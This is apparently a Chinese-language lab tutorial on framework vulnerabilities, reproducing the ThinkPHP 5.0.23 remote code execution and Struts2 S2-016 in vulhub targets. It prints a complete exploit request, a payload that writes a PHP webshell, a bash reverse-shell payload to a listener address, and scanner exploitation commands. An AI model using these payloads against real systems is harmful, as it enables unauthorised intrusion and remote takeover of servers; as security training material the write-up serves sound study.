框架漏洞属于web安全漏洞中的环境漏洞,我们可以把框架看作毛胚房,在毛坯房的基础上进行装修就构成了最终的成品网站。
目录
在软件开发中,框架被用来提供各种功能模块,如用户认证、权限控制、数据库操作等,这些模块通常是经过测试和验证的。然而,由于框架的复杂性和灵活性,很难保证所有使用框架的开发者都能正确地使用这些模块。因此,框架漏洞的产生主要是由于框架本身存在的设计或实现上的缺陷。
常见的框架漏洞包括SQL注入、跨站脚本攻击(XSS)、文件上传漏洞、命令注入和会话劫持等
Thinkphp5.0.23远程代码执行漏洞
ThinkPHP发展至今,核心版本主要有以下几个系列,ThinkPHP 2系列、ThinkPHP 3系列、
ThinkPHP 5系列、ThinkPHP 6系列,各个系列之间在代码实现及功能方面,有较大区别。
其中ThinkPHP 2以及ThinkPHP 3系列已经停止维护,ThinkPHP 5系列现使用最多,而
ThinkPHP 3系列也积累了较多的历史用户
ThinkPHP是一个免费,开源,快速、简单的面向对象的轻量级PHP开发框架,是为了加快WEB应用开发和简化企业应用开发而诞生的。
漏洞影响范围:
5.x < 5.1.31
Thinkphp 5.0.x<= 5.0.23
漏洞成因:
该漏洞出现的原因在于ThinkPHP5框架底层对 控制器名 过滤不严,从而让攻击者可以通过url调用到ThinkPHP框架内部的敏感函数,最终导致getshell漏洞
如何判断网页的框架使用了thinkPHP?
通过网页的ico:
通过网页的报错回显信息:
使用专门的信息搜集工具:
vulhub中的thinkphp5.0.23远程代码执行漏洞对应靶场:
漏洞POC的详细解析:
vulhub 中给出的thinkPHP5.0.23的POChttps://vulhub.org/#/environments/thinkphp/5.0.23-rce/
请求包内容:
POST /index.php?s=captcha HTTP/1.1
Host: 192.168.43.11:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.43.11:8080/index.php?s=captcha
Content-Type: application/x-www-form-urlencoded
Content-Length: 76
Origin: http://192.168.43.11:8080
Connection: close
Upgrade-Insecure-Requests: 1
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
接下来粗浅地分析一波POST中的内容(实际上更近一步的解析需要结合框架源代码进行详细解析,但这里我们仅仅需要知道如何利用该漏洞即可):
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
这段代码看起来很长,其实它可以分为两个部分:
_method=__construct&filter[]=system&method=get
_method=__construct:该参数将传递给ThinkPHP框架,用于指定将要调用的方法。在这里,使用了对象的构造方法(constructor)__construct。
filter[]=system:filter参数用于指定一个或多个过滤器,用于过滤用户输入数据。在这里,system过滤器被指定,它可以绕过输入过滤,执行系统命令。
method=get:指定执行请求的HTTP方法为GET。
&server[REQUEST_METHOD]=whoamiserver[REQUEST_METHOD]:伪造的HTTP请求头中的REQUEST_METHOD参数,通过伪造该参数,攻击者可以构造一个将恶意代码写入文件的请求。
#######################################################################
但是,除了这段POST内容之外,我们还要在POST请求的请求头部分加上/index.php?s=captcha:method=get: 因为captcha的路由规则是get方式下的,所以我们得让method为get,才能获取到captcha的路由
s=captcha: 因为在进入exec函数后我们要switch到method中执行param函数,而这个captcha的路由刚好对应类型为method,所以我们选择captcha
接下来试着上传一句话木马:
_method=__construct&filter[]=system&method=get
&server[REQUEST_METHOD]=echo "<?php @eval($_POST[123]); ?>" > shell.php
vulhub靶场实战:
要想使用vulhub靶场,我们需要先在Kali Linux上部署Docker并安装vulhub,关于Docker和vulhub的安装部署较为简单,一方就不在这里水字数了,详细的图文教程请参看如下文章:
Vulhub是一个基于Docker和Docker-compose的漏洞环境集合,
进入对应目录并执行一条语句即可启动一个全新的漏洞环境,
让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身。
启动靶场:
打开虚拟机,进入安装了vulhub的目录:
┌──(root💀kali)-[/home/kali]
└─# cd /home/kali/vulhub-master
进入thinkphp所在目录:
┌──(root💀kali)-[/home/kali/vulhub-master]
└─# cd /home/kali/vulhub-master/thinkphp
┌──(root💀kali)-[/home/kali/vulhub-master/thinkphp]
└─# ll
总计 20
drwx------ 2 kali kali 4096 10月25日 01:04 2-rce
drwx------ 2 kali kali 4096 10月25日 01:04 5.0.23-rce
drwx------ 2 kali kali 4096 10月25日 01:04 5-rce
drwx------ 3 kali kali 4096 10月25日 01:04 in-sqlinjection
drwx------ 2 kali kali 4096 10月25日 01:04 lang-rce
我们需要的靶场在 5.0.23-rce,进入该目录再依次运行如下命令:
docker-compose up -d 在后台启动并运行容器(靶场)
docker ps 查看运行中的容器的状态
可以看到靶场成功运行,使用的是kali linux的8080端口:
接下来在宿主机的浏览器上访问kail linux的8080端口:
利用POC执行系统命令:
刷新一下该页面,并用burpsuite抓包,发现发出的是GET请求,而之前给出的POC需要POST请求,我们需要在BP中转换请求方式,并把POC插入到转变后的POST请求中去:
图1:刚开始是GET请求:
图2:CTRL+R将get发送到repeater(重放器),右键选择修改请求方法:
图3:将POC中的内容复制粘贴到修改后得到的POST请求中:
命令成功执行,说明靶场中存在think PHP5.0.23远程代码执行漏洞
使用工具自动探测POC:
除了手动寻找外,我们还可以借助一些脚本文件,例如thingkphp_rce,该脚本会自动探测thinkphp框架漏洞,并找出合适的payload(这类脚本实际上是批量提交各种版本的POC,如果有对应的就回显,没有就不回显):
thinkphp_rce的下载链接https://download.csdn.net/download/weixin_52796034/88501389
利用POC进行反弹shell:
将POC改成下面这样可以进行反弹shell:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=/bin/bash+-
c+"bash+-i+>%26+/dev/tcp/192.168.188.116/9999+0>%261"
这里的“kali的IP与端口”在实战中可以换成其他主机的IP与端口,只要能够监听对应端口即可
下面来分析一波/bin/bash+-c+"bash+-i+>%26+/dev/tcp/192.168.43.11/9999+0>%261":
/bin/bash+-c
: 这部分开始了一个Bash Shell,并且-c
选项告诉Bash执行后面的命令。
"bash+-i+>%26+/dev/tcp/192.168.188.116/9999+0>%261"
: 这是要执行的Shell命令的一部分,它试图建立一个反向shell连接到IP地址192.168.43.11(这里的IP地址完全可以换成其他主机的)
的端口9999
。具体解释如下:
bash
: 启动Bash Shell。
-i
: 表示以交互式模式运行Shell,这允许双向通信。
>%26
: 将标准输出(stdout)重定向到标准错误(stderr),这是为了确保输出被发送到反弹shell。
/dev/tcp/192.168.43.11/9999
: 这部分告诉Bash连接到指定IP地址和端口。
0>%261
: 这部分将标准输入(stdin)重定向到标准错误(stderr),也是为了确保输入被发送到反弹shell。当服务器处理这个请求时,它会执行这个Shell命令,试图建立一个反向shell连接到
192.168.43.11
的端口9999
,允许攻击者在目标服务器上执行命令。
使用nc监听kali的9999端口,发现可以执行bash指令:
拓展:什么是反弹shell?
反弹shell(Reverse Shell)是一种计算机安全和网络攻击技术,
通常被用于与远程目标系统建立命令行交互式连接。
这个连接允许攻击者在远程系统上执行命令,获取系统访问权限,
以及进行横向移动和数据操作。
反弹shell的工作方式如下:
攻击者和目标系统之间建立连接:通常,攻击者首先在目标系统上部署一个恶意程序
(例如Trojan或后门),该程序会与攻击者的控制服务器建立连接。
目标系统反弹连接:一旦恶意程序在目标系统上执行,它会尝试与攻击者的控制服务器建立连接。
这通常是通过网络协议(如TCP或HTTP)完成的。
交互式命令行会话:一旦连接建立,攻击者可以在目标系统上获得一个交互式命令行会话。
这允许他们像在本地一样执行命令、查看文件、修改配置和操作系统资源等。
######################################################################################
反弹shell通常用于被控端防火墙受限、权限不足、端口被占用等情形。在渗透过程中,往往因为端
口限制而无法直连目标机器,此时需要通过反弹shell来获取一个交互式shell,以便继续深入。
拓展:struts2远程代码执行漏洞
vulhub靶场链接https://vulhub.org/#/environments/struts2/s2-001/
漏洞背景
Apache Struts 2 是一个开源的Java Web应用框架,被广泛用于构建Java Web应用。在过去,Struts 2 曝露出一个严重的漏洞,允许攻击者通过构造恶意请求来执行任意代码,这被称为远程代码执行漏洞。
漏洞原理:
- 不安全的用户输入处理:应用程序未正确验证和过滤用户提供的输入,特别是HTTP请求中的参数。
- Ognl 表达式:Struts 2 使用了OGNL(Object-Graph Navigation Language)表达式来处理用户输入,它是一种强大的表达式语言,但如果不正确使用,会导致安全风险。
- Action 层处理:Struts 2 中的Action类负责处理HTTP请求,当不安全的OGNL表达式传递给Action时,它可以在服务器上执行任意代码。
攻击者通常通过构造特定的HTTP请求,将恶意的OGNL表达式传递给受影响的应用程序。这些表达式可以包含Java代码,包括系统命令执行、文件读取/写入等。一旦应用程序执行了这些表达式,攻击者可以在目标服务器上获得远程执行代码的权限。
struts2的rce本质都是一样的(除了S2-052以外),都是Struts2框架执行了恶意用户传进来的OGNL表达式,造成远程代码执行。可以造成“命令执行、服务器文件操作、 打印回显、获取系统属性、危险代码执行”等,只不过需要精心构造不同的OGNL代 码而已
如何辨别某个网页是否使用struts2框架?
URL结构:观察Web应用的URL结构通常是一个快速的方法。Struts 2应用程序的URL通常包含
/struts
或/struts2
等关键词。例如,http://example.com/struts/login.action
或http://example.com/struts2/user/profile.action
。请求参数:Struts 2应用程序通常使用参数来标识和执行特定的操作。检查HTTP请求中是否存在以
.action
为扩展名的参数,这可能是Struts 2操作的迹象。页面源代码:查看Web应用的页面源代码,寻找可能包含Struts 2标签或标识符的HTML元素。Struts 2通常使用特定的HTML标签和属性。
错误消息:如果Web应用程序出现错误,错误消息可能会包含有关Struts 2的信息或异常。这些信息可能会显示在浏览器中,也可能记录在服务器日志中。
HTTP响应头:检查HTTP响应头,有时它们可能包含有关使用的Web框架的信息。Struts 2通常会在响应头中揭示一些信息。
目录结构:查看Web应用的目录结构。Struts 2应用程序通常会包含一些特定的目录,如
/struts
或/struts2
,用于存放配置文件和类文件。探测工具:使用Web应用漏洞扫描工具或指纹识别工具来检测Struts 2框架。这些工具通常会分析Web应用的特征以确定所使用的框架。例如wappalyzer这款浏览器插件
struts2靶场实战---s2-016
没有靶场演练的解说是没有灵魂滴~~~,这里一方以s2-016漏洞为例,向大家讲解如何利用一系列的struts2远程代码执行漏洞
和前边的thinkphp5.0.23靶场一样,我们首先要启动靶场,依次执行如下语句:
cd vulhub-master
cd struts2
cd s2-016
在s2-016对应的目录中执行如下语句:
docker-compose build
docker-compose up -d
docker ps
靶场启动后在宿主机上进行访问:
借助专门的工具来探测并利用对应漏洞
这里一方推荐两款Struts2系列漏洞检查工具:
Struts2-Scan:
Struts2漏洞检查工具2019版 V2.3 20190927:
不知道为啥,链接里明明给的是20190927,但是下载后却变成了20190925,不过一切还好,不影响使用
戳我下载压缩包
https://download.csdn.net/download/weixin_52796034/88505086
Struts2-Scan:
进行扫描时使用的命令如下(注意必须在URL最后加上/index.action!):
python Struts2Scan.py -u "http://192.168.43.11:8080/index.action"
Struts2Scan成功扫到存在S2-016,使用如下语句进行漏洞利用:
python3 Struts2Scan.py -u http://192.168.43.11:8080/index.action -n S2-016 --exec
遗憾的是,目前版本会报错:
[ERROR] 暂不支持S2_016漏洞利用
但是也有可能是一方使用的环境问题,作者的Github介绍上显示是可以正常使用的:
Struts2漏洞检查工具2019版 V2.3 20190927
这个工具用起来就简洁明了多了,毕竟是图像化界面:
但是需要注意的是,该工具的扫描结果依赖于所指定的“数据提交方式”:
得知具体的漏洞编号后,我们就可以更进一步的利用:
这些自动化脚本的使用实际上还是利用早已被给出的Struts2系列漏洞的POC: